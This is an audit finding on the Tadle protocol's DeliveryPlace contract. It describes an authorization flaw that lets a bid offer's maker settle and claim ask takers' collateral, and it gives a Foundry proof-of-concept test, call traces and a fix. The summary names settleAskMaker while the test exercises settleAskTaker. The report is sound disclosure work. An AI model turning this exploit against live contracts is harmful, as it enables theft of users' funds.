Summary
A critical flaw has been identified in the settleAskMaker function of the DeliveryPlace contract within the Tadle protocol. The function incorrectly verifies the authority using offerInfo.authority instead of stockInfo.authority. This mistake allows unauthorized bid offers to claim the collateral of ask takers, leaving ask takers unable to retrieve their rightful funds.
Vulnerability Details
The settleAskMaker function is designed to settle ask offers within the marketplace. However, it uses offerInfo.authority to verify the caller's authority. The correct authority check should reference stockInfo.authority, which pertains specifically to the ask taker. Due to this error, bid offers can incorrectly settle ask offers and claim their collateral.
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L360-L363
Impact
This vulnerability has a severe financial impact, allowing unauthorized entities (bid offers) to claim the collateral of ask takers. This could lead to significant loss of funds for ask takers and undermine the integrity of the marketplace, potentially resulting in loss of trust and participation in the platform.
Proof of Concept
This is the test code of the vulnerability.
function test_create_bid_offer_turbo_usdc() public {
console2.log("user address:", address(user));
console2.log("user2 address:", address(user2));
vm.prank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
vm.startPrank(user2);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user2);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
vm.expectRevert(
abi.encodeWithSelector(Unauthorized.selector)
);
deliveryPlace.settleAskTaker(stock1Addr, 500);
vm.stopPrank();
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskTaker(stock1Addr, 500);
deliveryPlace.closeBidOffer(offerAddr);
vm.stopPrank();
}
The result is like this.
user address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
user2 address: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
├─ [28864] UpgradeableProxy::settleAskTaker(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8, 500)
│ ├─ [23845] DeliveryPlace::settleAskTaker(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8, 500) [delegatecall]
│ │ ├─ [534] TadleFactory::relatedContracts(2) [staticcall]
│ │ │ └─ ← [Return] UpgradeableProxy: [0x8d2C17FAd02B7bb64139109c6533b7C2b9CADb81]
│ │ ├─ [3293] UpgradeableProxy::getStockInfo(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8) [staticcall]
│ │ │ ├─ [2736] PreMarktes::getStockInfo(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8) [delegatecall]
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
│ │ │ └─ ← [Return] MarketPlaceInfo({ fixedratio: false, status: 1, tokenAddress: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, tokenPerPoint: 10000000000000000 [1e16], tge: 1719826274 [1.719e9], settlementPeriod: 3600 })
│ │ └─ ← [Revert] Unauthorized()
│ └─ ← [Revert] Unauthorized()
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
├─ [180189] UpgradeableProxy::settleAskTaker(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8, 500)
│ ├─ [175174] DeliveryPlace::settleAskTaker(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8, 500) [delegatecall]
│ │ ├─ [534] TadleFactory::relatedContracts(2) [staticcall]
│ │ │ └─ ← [Return] UpgradeableProxy: [0x8d2C17FAd02B7bb64139109c6533b7C2b9CADb81]
│ │ ├─ [3293] UpgradeableProxy::getStockInfo(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8) [staticcall]
│ │ │ ├─ [2736] PreMarktes::getStockInfo(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8) [delegatecall]
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
│ │ │ │ │ └─ ← [Return] UpgradeableProxy: [0x3C8Ca53ee5661D29d3d3C0732689a4b86947EAF0]
│ │ │ │ ├─ emit AddTokenBalance(accountAddress: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, tokenAddress: MockERC20Token: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], tokenBalanceType: 3, amount: 6000000000000000 [6e15])
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Return]
As you can see, settleAskTaker function call of user2 reverted with Unauthorized error.
And user gets the collateral of user2 with buying itself by calling settleAskTaker function.
Tools Used
Manual code review
Recommendations
Correct the code like this.
if (status == MarketPlaceStatus.AskSettling) {
if (_msgSender() != stockInfo.authority) {
revert Errors.Unauthorized();
}
} else {
